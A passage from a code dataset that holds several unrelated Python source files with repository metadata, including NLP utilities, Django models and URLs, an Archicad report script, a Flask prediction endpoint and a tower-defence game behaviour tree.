nlp=spacy.load('en')):\n stopwords = nltk.corpus.stopwords.words('english')\n\n def cleaning(sentence):\n sentence = nlp(sentence)\n tokens = [token.orth + token.lemma + token.pos for token in sentence if not token.is_punct | token.is_space | token.is_bracket | (token.text in stopwords)]\n return tokens\n\n df = df.assign(nlp_processed = lambda rows : rows[text_col].map(lambda row: cleaning(row)))\n\n return df\n\n#Refence: https://www.kaggle.com/mageswaran/beginner-s-tutorial-python/editnb\nclass ConditionalWordFreq:\n\n def __init__(self):\n # word frequency by category\n self.wordFreqByCategory = None\n\n\n def fit(self, df, tex_col, category_col):\n\n self.wordFreqByCategory = nltk.probability.ConditionalFreqDist()\n\n by_category = df.groupby(category_col)\n for category, group in tqdm(by_category):\n sentences = group[tex_col].str.cat(sep = ' ')\n\n sentences = sentences.lower()\n\n tokens = nltk.tokenize.word_tokenize(sentences)\n\n frequency = nltk.FreqDist(tokens)\n\n self.wordFreqByCategory[category] = (frequency)\n\n wordFreqByCategoryFile = open('wordFreqByCategory.pickle', 'wb')\n pickle.dump(self.wordFreqByCategory, wordFreqByCategoryFile)\n\n def load(self):\n if os.path.exists('wordFreqByCategory.pickle') and self.wordFreqByCategory is None:\n self.wordFreqByCategory = pickle.load(open('wordFreqByCategory.pickle', 'rb'))\n\n def category_probabilities(self, word):\n for category in self.wordFreqByCategory.keys():\n print('Probability of' + word + ' in ' + category + ' is ' + str(self.wordFreqByCategory[category].freq(word)))\n\n", "repo_name": "dhiraa/sarvam", "sub_path": "src/sarvam/nlp/spacy.py", "file_name": "spacy.py", "file_ext": "py", "file_size_in_byte": 3298, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.DataFrame", "line_number": 15, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 34, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 38, "usage_type": "attribute"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 40, "usage_type": "call"}, {"api_name": "nltk.corpus", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 53, "usage_type": "attribute"}, {"api_name": "spacy.load", "line_number": 53, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 54, "usage_type": "call"}, {"api_name": "nltk.corpus", "line_number": 54, "usage_type": "attribute"}, {"api_name": "nltk.probability.ConditionalFreqDist", "line_number": 75, "usage_type": "call"}, {"api_name": "nltk.probability", "line_number": 75, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 78, "usage_type": "call"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 83, "usage_type": "call"}, {"api_name": "nltk.tokenize", "line_number": 83, "usage_type": "attribute"}, {"api_name": "nltk.FreqDist", "line_number": 85, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 90, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path", "line_number": 93, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 94, "usage_type": "call"}]} {"seq_id": "36064035658", "text": "from django.urls import path\nfrom django.views.generic import TemplateView\nfrom .views import TestCaseView, TestStepDetail, TestStepStats\n\napp_name = \"testcase\"\n\nurlpatterns = [\n path(\"\", TemplateView.as_view(template_name=\"testcase/tchome.html\"), name=\"tchome\"),\n # path(\"success/\", TemplateView.as_view(template_name=\"testcase/success.html\"), name=\"tc_success\"),\n path(\"success/\", TestCaseView.as_view(), name=\"success\"),\n path(\"teststep_detail//\", TestStepDetail.as_view(), name=\"teststep_detail\"),\n path(\"teststep_stats/\", TestStepStats.as_view(), name=\"teststep_stats\"),\n\n]\n", "repo_name": "Amitabh1989/Django-JS-Tailwind-ProjectShadow", "sub_path": "mysite/testcase/urls_NON_API_ROUTING.py", "file_name": "urls_NON_API_ROUTING.py", "file_ext": "py", "file_size_in_byte": 602, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.views.generic.TemplateView.as_view", "line_number": 8, "usage_type": "call"}, {"api_name": "django.views.generic.TemplateView", "line_number": 8, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "views.TestCaseView.as_view", "line_number": 10, "usage_type": "call"}, {"api_name": "views.TestCaseView", "line_number": 10, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "views.TestStepDetail.as_view", "line_number": 11, "usage_type": "call"}, {"api_name": "views.TestStepDetail", "line_number": 11, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "views.TestStepStats.as_view", "line_number": 12, "usage_type": "call"}, {"api_name": "views.TestStepStats", "line_number": 12, "usage_type": "name"}]} {"seq_id": "10481057062", "text": "import re\n\nfrom django.db import models\nfrom django.urls import reverse\nfrom django_extensions.db.fields import AutoSlugField\nfrom easy_thumbnails.files import get_thumbnailer\n\n\nclass GlobalTags(models.Model):\n tags = models.TextField(\n blank=True,\n null=True,\n help_text='Tags to be added to every picture published on social '\n 'media
'\n '(#AddHashes #ManuallyCapitaliseWords #AddSpacesBetweenTags)',\n )\n\n class Meta:\n verbose_name = \"Global tags\"\n verbose_name_plural = \"Global tags\"\n\n def __str__(self):\n return self.tags\n\n\nclass Tag(models.Model):\n tag = models.CharField(max_length=200)\n description = models.TextField(\n blank=True,\n null=True,\n )\n extra_tags = models.TextField(\n blank=True,\n null=True,\n help_text='Tags to be added to every picture in this category '\n 'published on social media
'\n '(#AddHashes #ManuallyCapitaliseWords #AddSpacesBetweenTags)',\n )\n slug = AutoSlugField(populate_from='tag',\n help_text='This is used as the URL for this tag',\n unique=True,\n overwrite=True,\n max_length=200)\n\n def slugify_function(self, content):\n content = re.sub('[^0-9a-zA-Z ]+', '', content)\n content = content.title()\n content = content.replace(' ', '')\n return content\n\n def __str__(self):\n return self.tag\n\n\nclass PublishedPictureManager(models.Manager):\n def get_queryset(self):\n return super().get_queryset().filter(published_date__isnull=False)\n\n\nclass Picture(models.Model):\n order = models.PositiveIntegerField(\n default=1000,\n help_text=(\n 'The lower the number, the sooner this picture will be published'))\n title = models.CharField(max_length=200)\n slug = AutoSlugField(\n populate_from='title',\n help_text='This is used as the URL for this picture',\n max_length=200,\n )\n description = models.TextField(\n blank=True,\n null=True,\n )\n published_id = models.PositiveIntegerField(\n blank=True,\n null=True,\n )\n published_date = models.DateTimeField(\n blank=True,\n null=True,\n )\n tags = models.ManyToManyField(\n Tag,\n blank=True,\n help_text='Main categories used on website',\n )\n extra_tags = models.TextField(\n blank=True,\n null=True,\n help_text='Tags to be added to this picture when published on social '\n 'media
'\n '(#AddHashes #ManuallyCapitaliseWords #AddSpacesBetweenTags)',\n )\n created_date = models.DateTimeField(auto_now_add=True)\n modified_date = models.DateTimeField(auto_now=True)\n\n # Managers\n objects = models.Manager()\n published_pictures = PublishedPictureManager()\n\n def get_url(self):\n return reverse(\n 'picture-slug',\n kwargs={\n 'id': self.published_id,\n 'slug': self.slug,\n },\n )\n\n def get_tags(self):\n if GlobalTags.objects.first():\n global_tags = GlobalTags.objects.first().tags\n else:\n global_tags = \"\"\n\n tag_extra_tags = \" \".join(tag.extra_tags for tag in self.tags.all()\n if tag.extra_tags is not None)\n picture_extra_tags = (self.extra_tags\n if self.extra_tags is not None else \"\")\n picture_tags = \" \".join(f\"#{tag.slug}\" for tag in self.tags.all()\n if tag.slug is not None)\n\n return (f\"{picture_tags} {tag_extra_tags} {picture_extra_tags}\"\n f\" {global_tags}\").strip()\n\n def get_image(self):\n # generate a smaller image to avoid Twitter 5mb file limit\n thumbnailer = get_thumbnailer(self.image.image)\n thumbnail_options = {'size': (2000, 2000)}\n return thumbnailer.get_thumbnail(\n thumbnail_options,\n save=True,\n generate=True,\n )\n\n # Metadata\n class Meta:\n ordering = ['-published_id', 'order']\n\n def __str__(self):\n return self.title\n\n\nclass Image(models.Model):\n def get_upload_path(self, filename):\n id = self.picture_id\n return f\"pictures/{id}/image/{filename}\"\n\n picture = models.OneToOneField(\n Picture,\n on_delete=models.CASCADE,\n related_name='image',\n )\n image = models.ImageField(upload_to=get_upload_path)\n\n def __str__(self):\n return self.picture.title\n", "repo_name": "orangespaceman/tanmt", "sub_path": "tanmt/pictures/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 4606, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.db.models.Model", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 9, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 10, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 10, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 26, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 26, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 27, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 27, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 28, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 32, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 32, "usage_type": "name"}, {"api_name": "django_extensions.db.fields.AutoSlugField", "line_number": 39, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 46, "usage_type": "call"}, {"api_name": "django.db.models.Manager", "line_number": 55, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 55, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 60, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 60, "usage_type": "name"}, {"api_name": "django.db.models.PositiveIntegerField", "line_number": 61, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 61, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 65, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 65, "usage_type": "name"}, {"api_name": "django_extensions.db.fields.AutoSlugField", "line_number": 66, "usage_type": "call"}, {"api_name": "django.db.models.TextField", "line_number": 71, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 71, "usage_type": "name"}, {"api_name": "django.db.models.PositiveIntegerField", "line_number": 75, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 75, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 79, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 79, "usage_type": "name"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 83, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 83, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 88, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 88, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 95, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 95, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 96, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 96, "usage_type": "name"}, {"api_name": "django.db.models.Manager", "line_number": 99, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 99, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 103, "usage_type": "call"}, {"api_name": "easy_thumbnails.files.get_thumbnailer", "line_number": 129, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 145, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 145, "usage_type": "name"}, {"api_name": "django.db.models.OneToOneField", "line_number": 150, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 150, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 152, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 152, "usage_type": "name"}, {"api_name": "django.db.models.ImageField", "line_number": 155, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 155, "usage_type": "name"}]} {"seq_id": "39218273167", "text": "from collections import Counter\nfrom data_tools.connection_init import acc, act, acu\nfrom data_tools.functions import is_all_properties_available\nfrom docx import Document\nimport ifcopenshell\nfrom uuid import UUID\n\n\nprecision = 1\nneeded_properties = ['Zone_ZoneName', 'Zone_NetArea', ['Dane pomieszczenia', 'Kolor ścian'],\n ['Specyfikacja produktu', 'Nazwa']]\nall_properties = acc.GetAllPropertyNames()\nrun = is_all_properties_available(all_properties, needed_properties)\n\nif run:\n ifc_file = ifcopenshell.open(\"others\\ifc_files\\model_testowy.ifc\")\n\n def unpack_ifc_property(ifc_dict):\n values = []\n for ifc_type, ifc_keys in ifc_dict.items():\n parameters = ifc_file.by_type(ifc_type)[0]\n params_dict = parameters.get_info()\n values.append([params_dict[key] for key in ifc_keys])\n return values\n\n\n ifc_objects_to_get = {\n 'IFCPROJECT' : ['Name', 'Phase'],\n 'IFCSITE': ['SiteAddress'],\n 'IFCPERSON': ['PrefixTitles', 'GivenName', 'FamilyName'],\n 'IFCPROPERTYSET': ['HasProperties'] # stworzona przez autora grupa właściwości przydzielona do projektu\n }\n\n ifc_values = unpack_ifc_property(ifc_objects_to_get)\n\n # rozpakowywanie wartości\n project_params, address_params, person_params, custom_params = ifc_values\n project_name, phase = project_params\n address = ', '.join(address_params[0].get_info()['AddressLines'])\n if person_params[0] is None:\n designer = ' '.join(person_params[1:])\n else:\n person_params[0] = ' '.join(person_params[0])\n designer = ' '.join(person_params)\n\n unwrapped_customs = [param.get_info()['NominalValue'].get_info()['wrappedValue'] for param in custom_params[0]]\n project_number, start_date, end_date = unwrapped_customs\n\n # przygotowywanie listy pomieszczeń wraz z przydzielonymi do nich obiektami\n zone_properties = needed_properties[:3]\n object_properties = [needed_properties[3]]\n zone_properties_ids = [acu.GetBuiltInPropertyId(name) if type(name) is str else acu.GetUserDefinedPropertyId(*name)\n for name in zone_properties]\n object_properties_ids = [acu.GetBuiltInPropertyId(name) if type(name) is str else acu.GetUserDefinedPropertyId(*name)\n for name in object_properties]\n zones_ids = acc.GetElementsByType('Zone')\n zones = acc.GetElementsRelatedToZones(zones_ids, ['Object'])\n zones_descriptions = {}\n\n for i, zone in enumerate(zones):\n elements = zone.elements\n elements_values = [property.propertyValues[0].propertyValue.value for property in \n acc.GetPropertyValuesOfElements(elements, object_properties_ids)]\n elements_counter = Counter(elements_values).items()\n elements_values = [element if times == 1 else f\"{element} x {times}\" \n for element, times in elements_counter]\n cells_set = acc.GetPropertyValuesOfElements([zones_ids[i]], zone_properties_ids)\n zones_values = [act.ElementId(UUID(cell.value))for row in cells_set for cell in row][0]\n zones_values[1] = round(zones_values[1], precision)\n raport_values = zones_values[1:] + [elements_values]\n zones_descriptions[zones_values[0]] = raport_values\n\n # przygotowanie informacji do postaci gotowej do wyświetlenia w raporcie\n projects_data = [\n f\"Raport z projektu nr {project_number}\",\n f\"Nazwa projektu: {project_name}\",\n f\"Faza projektu: {phase}\",\n f\"Lokalizacja: {address}\",\n f\"Data rozpoczęcia projektu: {start_date}\",\n f\"Data planowanego zakończenia projektu: {end_date}\",\n f\"Projektant: {designer}\"]\n \n ''' Tworzenie raportu '''\n doc = Document()\n doc.add_heading(projects_data[0], level=1)\n\n # Dodawanie informacji ogólnych o projekcie\n doc.add_heading('1. Informacje ogólne o projekcie:', level=2)\n for row in projects_data[1:]:\n doc.add_paragraph(row)\n\n # Dodawanie informacji o pomieszczeniach\n doc.add_heading('2. Informacje o pomieszczeniach:', level=2)\n for zone, values in zones_descriptions.items():\n doc.add_paragraph(f\"{zone}\", style='List Number')\n doc.add_paragraph(f\"Powierzchnia: {values[0]} m²\")\n doc.add_paragraph(f\"Kolor ścian: {values[1]}\")\n doc.add_paragraph(f\"Wyposażenie:\")\n for object in values[2]:\n doc.add_paragraph(object, style='List Bullet')\n \n # Zapisywanie dokumentu do pliku .docx\n doc.save('raport_archicad.docx')\n acu.OpenFile('raport_archicad.docx')\n", "repo_name": "Marcin-Ramotowski/Archicad-API-Scripts", "sub_path": "scripts/file_scripts/room_report.py", "file_name": "room_report.py", "file_ext": "py", "file_size_in_byte": 4572, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "data_tools.connection_init.acc.GetAllPropertyNames", "line_number": 12, "usage_type": "call"}, {"api_name": "data_tools.connection_init.acc", "line_number": 12, "usage_type": "name"}, {"api_name": "data_tools.functions.is_all_properties_available", "line_number": 13, "usage_type": "call"}, {"api_name": "ifcopenshell.open", "line_number": 16, "usage_type": "call"}, {"api_name": "data_tools.connection_init.acu.GetBuiltInPropertyId", "line_number": 52, "usage_type": "call"}, {"api_name": "data_tools.connection_init.acu", "line_number": 52, "usage_type": "name"}, {"api_name": "data_tools.connection_init.acu.GetUserDefinedPropertyId", "line_number": 52, "usage_type": "call"}, {"api_name": "data_tools.connection_init.acu.GetBuiltInPropertyId", "line_number": 54, "usage_type": "call"}, {"api_name": "data_tools.connection_init.acu", "line_number": 54, "usage_type": "name"}, {"api_name": "data_tools.connection_init.acu.GetUserDefinedPropertyId", "line_number": 54, "usage_type": "call"}, {"api_name": "data_tools.connection_init.acc.GetElementsByType", "line_number": 56, "usage_type": "call"}, {"api_name": "data_tools.connection_init.acc", "line_number": 56, "usage_type": "name"}, {"api_name": "data_tools.connection_init.acc.GetElementsRelatedToZones", "line_number": 57, "usage_type": "call"}, {"api_name": "data_tools.connection_init.acc", "line_number": 57, "usage_type": "name"}, {"api_name": "data_tools.connection_init.acc.GetPropertyValuesOfElements", "line_number": 63, "usage_type": "call"}, {"api_name": "data_tools.connection_init.acc", "line_number": 63, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 64, "usage_type": "call"}, {"api_name": "data_tools.connection_init.acc.GetPropertyValuesOfElements", "line_number": 67, "usage_type": "call"}, {"api_name": "data_tools.connection_init.acc", "line_number": 67, "usage_type": "name"}, {"api_name": "data_tools.connection_init.act.ElementId", "line_number": 68, "usage_type": "call"}, {"api_name": "data_tools.connection_init.act", "line_number": 68, "usage_type": "name"}, {"api_name": "uuid.UUID", "line_number": 68, "usage_type": "call"}, {"api_name": "docx.Document", "line_number": 84, "usage_type": "call"}, {"api_name": "data_tools.connection_init.acu.OpenFile", "line_number": 104, "usage_type": "call"}, {"api_name": "data_tools.connection_init.acu", "line_number": 104, "usage_type": "name"}]} {"seq_id": "17838088665", "text": "from flask import Flask, request\nfrom flask_cors import CORS\nfrom keras.models import load_model\nimport tensorflow as tf\nimport numpy as np\n\napp = Flask(__name__)\nCORS(app)\n\n\n@app.route('/', methods=['POST'])\ndef hello():\n model = load_model(\"model.h5\")\n data = request.get_json()\n data = np.array(data, dtype=np.float32)\n data = tf.reshape(data, (data.shape[0], 1, data.shape[1]))\n res = np.round(model.predict(data, verbose=0))\n return res[0].tolist()\n\n\nif __name__ == '__main__':\n app.run()\n", "repo_name": "OrestProgrammer/PredictingLengthofStayatHospitals", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 515, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "flask_cors.CORS", "line_number": 8, "usage_type": "call"}, {"api_name": "keras.models.load_model", "line_number": 13, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 14, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 15, "usage_type": "attribute"}, {"api_name": "tensorflow.reshape", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 17, "usage_type": "call"}]} {"seq_id": "5792497313", "text": "import random\nimport pyasge\nfrom game.pathfinding import resolve\nfrom game.catdata import CatType\nfrom enum import IntEnum\n\n\nclass NodeType(IntEnum):\n SELECTOR = 1\n SEQUENCE = 2\n DECORATOR = 3\n LEAF = 4\n ROOT = 5\n\n\nclass BehaviourTreeRodent:\n def __init__(self, data, rodent, cats):\n # Last branch with the path to door\n self.branch4 = SequenceNode(\n [DecoratorNode(OnDoorTile(data, rodent), data), GoToDoor(data, rodent)], data)\n # Branch if cat is in agro range\n self.branch3 = SequenceNode(\n [InRangeRodent(cats, rodent, rodent.rodent_data.sight_range),\n GoToCat(data, rodent, cats)], data)\n # Branch if cat is in attack range\n self.branch2 = SequenceNode(\n [InRangeRodent(cats, rodent, rodent.rodent_data.attack_range),\n GoToCat(data, rodent, cats), AttackCat(cats, rodent, rodent.rodent_data)], data)\n # Branch if rodent is low and needs to go to spawn\n self.branch1 = SequenceNode(\n [LowHP(rodent.rodent_data, rodent.rodent_data.low_hp_range), DecoratorNode(OnSpawnTile(data, rodent), data),\n GoToSpawn(data, rodent)], data)\n\n self.base_selector = SelectorNode(\n [self.branch1, self.branch2, self.branch3,\n self.branch4, GoToCat(data, rodent, cats)], data)\n\n self.root = RootNode(self.base_selector)\n\n def update(self, game_time: pyasge.GameTime):\n self.root.update(game_time)\n\n\nclass BehaviourTreeCat:\n def __init__(self, data, cat, rodents, cat_data):\n # If RODENTS are in CAT range\n self.range_node = InRangeCat(rodents, cat, cat_data)\n # Shoot projectile at closest RODENT\n self.shoot_node = ShootProjectile(rodents, cat, cat_data)\n\n self.branch1 = SequenceNode([self.range_node, self.shoot_node], data)\n self.base_selector = SelectorNode([self.branch1], data)\n self.root = RootNode(self.base_selector)\n\n def update(self, game_time: pyasge.GameTime):\n self.root.update(game_time)\n\n\nclass BehaviourTreeResourceCat:\n def __init__(self, data, cat):\n # Generate yarn on a timer\n self.generate_node = GenerateYarn(data, cat)\n\n self.branch1 = SequenceNode([self.generate_node], data)\n self.base_selector = SelectorNode([self.branch1], data)\n self.root = RootNode(self.base_selector)\n\n def update(self, game_time: pyasge.GameTime):\n self.root.update(game_time)\n\n\nclass BehaviourTreeSlowCat:\n def __init__(self, data, cat, rodents, cat_data):\n # Slow RODENTS in range\n self.slow_node = SlowRodent(rodents, cat, cat_data)\n\n self.branch1 = SequenceNode([self.slow_node], data)\n self.base_selector = SelectorNode([self.branch1], data)\n self.root = RootNode(self.base_selector)\n\n def update(self, game_time: pyasge.GameTime):\n self.root.update(game_time)\n\n\nclass BehaviourTreeBoostCat:\n def __init__(self, data, cat, cats, cat_data):\n # Boost CATS in range\n self.boost_node = BoostCat(cats, cat, cat_data)\n\n self.branch1 = SequenceNode([self.boost_node], data)\n self.base_selector = SelectorNode([self.branch1], data)\n self.root = RootNode(self.base_selector)\n\n def update(self, game_time: pyasge.GameTime):\n self.root.update(game_time)\n\n\nclass RootNode:\n def __init__(self, child):\n # Root node, returns what is child returns\n self.type = NodeType.ROOT\n self.child = child\n\n def update(self, game_time: pyasge.GameTime):\n return self.child.update(game_time)\n\n\nclass SequenceNode:\n def __init__(self, nodes, data):\n # Sequence node, goes through children until one fails or all are gone through\n # Returns true if all children succeeded, returns false if one child fails\n self.data = data\n self.type = NodeType.SEQUENCE\n self.children = nodes\n\n def update(self, game_time: pyasge.GameTime):\n for child in self.children:\n update = child.update(game_time)\n if not update:\n return update\n return True\n\n\nclass SelectorNode:\n def __init__(self, nodes, data):\n # Selector node, goes through children until one succeeds or all are gone through\n # Returns false if all children fail, returns true if one child succeeds\n self.data = data\n self.type = NodeType.SELECTOR\n self.children = nodes\n\n def update(self, game_time: pyasge.GameTime):\n for child in self.children:\n update = child.update(game_time)\n if update:\n return update\n return False\n\n\nclass DecoratorNode:\n def __init__(self, child, data):\n # Decorator node, returns opposite of child\n self.data = data\n self.type = NodeType.DECORATOR\n self.child = child\n\n def update(self, game_time: pyasge.GameTime):\n return not self.child.update(game_time)\n\n\nclass InRangeCat:\n def __init__(self, targets, actor, data):\n # If there is a target is in range, return true [CHANGING RANGE, USED FOR CATS]\n self.targets = targets\n self.actor = actor\n self.data = data\n\n def update(self, game_time: pyasge.GameTime):\n att_range = self.data.attack_range * pow(self.data.stat_inc_per_level, self.data.upgrade_level-1)\n if self.data.boost_buff:\n att_range = att_range * self.data.boost_percent\n for target in self.targets:\n distance = pyasge.Point2D.distance(target.sprite.midpoint, self.actor.sprite.midpoint)\n if distance <= att_range and not target.rodent_data.invisible:\n return True\n return False\n\n\nclass InRangeRodent:\n def __init__(self, targets, actor, range_fixed):\n # If there is a target in range, return true [FIXED RANGE, USED FOR RODENTS]\n self.targets = targets\n self.actor = actor\n self.range = range_fixed\n\n def update(self, game_time: pyasge.GameTime):\n for target in self.targets:\n distance = pyasge.Point2D.distance(target.sprite.midpoint, self.actor.sprite.midpoint)\n if distance <= self.range and target.cat_data.cat_type == CatType.BLOCKER:\n self.actor.rodent_data.cat_in_range = True\n return True\n self.actor.rodent_data.cat_in_range = False\n return False\n\n\nclass ShootProjectile:\n def __init__(self, targets, actor, cat_data):\n # Shoot projectile at closest target\n self.targets = targets\n self.actor = actor\n self.timer = 0\n self.cat_data = cat_data\n\n def update(self, game_time: pyasge.GameTime):\n max_reload_timer = self.cat_data.reload_time / pow(self.cat_data.stat_inc_per_level, self.cat_data.upgrade_level-1)\n if self.cat_data.boost_buff:\n max_reload_timer = max_reload_timer / self.cat_data.boost_percent\n # If entity has had enough time between shots\n if self.timer >= max_reload_timer:\n # Find the closest target\n closest_target = None\n closest_dist = 1000\n for target in self.targets:\n distance = pyasge.Point2D.distance(target.sprite.midpoint, self.actor.sprite.midpoint)\n if distance < closest_dist and not target.rodent_data.invisible:\n closest_dist = distance\n closest_target = target\n # Shoot at closest target\n self.actor.cat_data.shooting = True\n self.actor.cat_data.targeted_rodent = closest_target\n self.timer = 0\n else:\n self.timer += game_time.frame_time\n return True\n\n\nclass LowHP:\n def __init__(self, data, low_hp):\n # Returns true if target is low hp\n self.data = data\n self.low_hp = low_hp\n\n def update(self, game_time: pyasge.GameTime):\n if self.data.fleeing:\n return True\n if self.data.hp <= self.low_hp:\n self.data.fleeing = True\n return True\n return False\n\n\nclass OnSpawnTile:\n def __init__(self, game_data, rodent):\n self.game_data = game_data\n self.rodent = rodent\n\n def update(self, game_time: pyasge.GameTime):\n # If rodent pos in range of game_data.spawn_tiles, de spawn the rodent and return true\n rodent_tile = self.game_data.game_map.tile(self.rodent.sprite.midpoint)\n for spawn in self.game_data.game_map.spawn_points:\n sp_point = pyasge.Point2D(spawn[0], spawn[1])\n spawn_tile = self.game_data.game_map.tile(sp_point)\n if spawn_tile == rodent_tile:\n self.rodent.rodent_data.on_spawn_tile = True\n return True\n return False\n\n\nclass OnDoorTile:\n def __init__(self, game_data, rodent):\n self.game_data = game_data\n self.rodent = rodent\n\n def update(self, game_time: pyasge.GameTime):\n # If rodent pos in range of game_data.home_points, de spawn the rodent and return true\n rodent_tile = self.game_data.game_map.tile(self.rodent.sprite.midpoint)\n for point in self.game_data.game_map.home_points:\n sp_point = pyasge.Point2D(point[0], point[1])\n spawn_tile = self.game_data.game_map.tile(sp_point)\n if spawn_tile == rodent_tile:\n self.rodent.rodent_data.on_home_tile = True\n return True\n return False\n\n\nclass GoToSpawn:\n def __init__(self, game_data, rodent):\n self.game_data = game_data\n self.rodent = rodent\n\n def update(self, game_time: pyasge.GameTime):\n # Path find to spawn\n if not self.rodent.rodent_data.update_path:\n return True\n self.rodent.rodent_data.update_path = False\n quickest_path = []\n quickest_cost = 0\n for spawn in self.game_data.game_map.spawn_points:\n path = resolve(pyasge.Point2D(spawn[0], spawn[1]), self.game_data,\n self.rodent.sprite.midpoint, self.rodent.rodent_data.can_hidden_path)\n cost = path.pop(-1)\n if len(quickest_path) == 0 or cost < quickest_cost:\n quickest_path = path\n quickest_cost = cost\n self.rodent.destination = quickest_path\n return True\n\n\nclass GoToDoor:\n def __init__(self, game_data, rodent):\n self.game_data = game_data\n self.rodent = rodent\n\n def update(self, game_time: pyasge.GameTime):\n # Path find to door\n if not self.rodent.rodent_data.update_path:\n return True\n self.rodent.rodent_data.update_path = False\n quickest_path = []\n quickest_cost = 0\n for home_point in self.game_data.game_map.home_points:\n path = resolve(pyasge.Point2D(home_point[0], home_point[1]), self.game_data,\n self.rodent.sprite.midpoint, self.rodent.rodent_data.can_hidden_path)\n cost = path.pop(-1)\n if len(quickest_path) == 0 or cost < quickest_cost:\n quickest_path = path\n quickest_cost = cost\n self.rodent.destination = quickest_path\n return True\n\n\nclass AttackCat:\n def __init__(self, targets, actor, rodent_data):\n # Attacks closest target [USED FOR RODENTS]\n self.targets = targets\n self.actor = actor\n self.timer = 0\n self.rodent_data = rodent_data\n\n def update(self, game_time: pyasge.GameTime):\n max_reload_timer = self.rodent_data.time_between_hits\n # If entity has had enough time between hits\n if self.timer >= max_reload_timer:\n # Find closest target\n closest_target = None\n closest_dist = 1000\n for target in self.targets:\n distance = pyasge.Point2D.distance(target.sprite.midpoint, self.actor.sprite.midpoint)\n if distance < closest_dist and target.cat_data.cat_type == CatType.BLOCKER:\n closest_dist = distance\n closest_target = target\n # Attack closest target\n self.actor.rodent_data.attacking = True\n self.actor.rodent_data.targeted_cat = closest_target\n self.timer = 0\n else:\n self.timer += game_time.frame_time\n #print(\"Attacking cat\")\n return True\n\n\nclass GoToCat:\n def __init__(self, game_data, actor, targets):\n self.game_data = game_data\n self.actor = actor\n self.targets = targets\n\n def update(self, game_time: pyasge.GameTime):\n # Find closest target\n if not self.actor.rodent_data.update_path:\n return True\n self.actor.rodent_data.update_path = False\n closest_target = None\n closest_dist = 1000\n for target in self.targets:\n distance = pyasge.Point2D.distance(target.sprite.midpoint, self.actor.sprite.midpoint)\n if distance < closest_dist and target.cat_data.cat_type == CatType.BLOCKER:\n closest_dist = distance\n closest_target = target\n 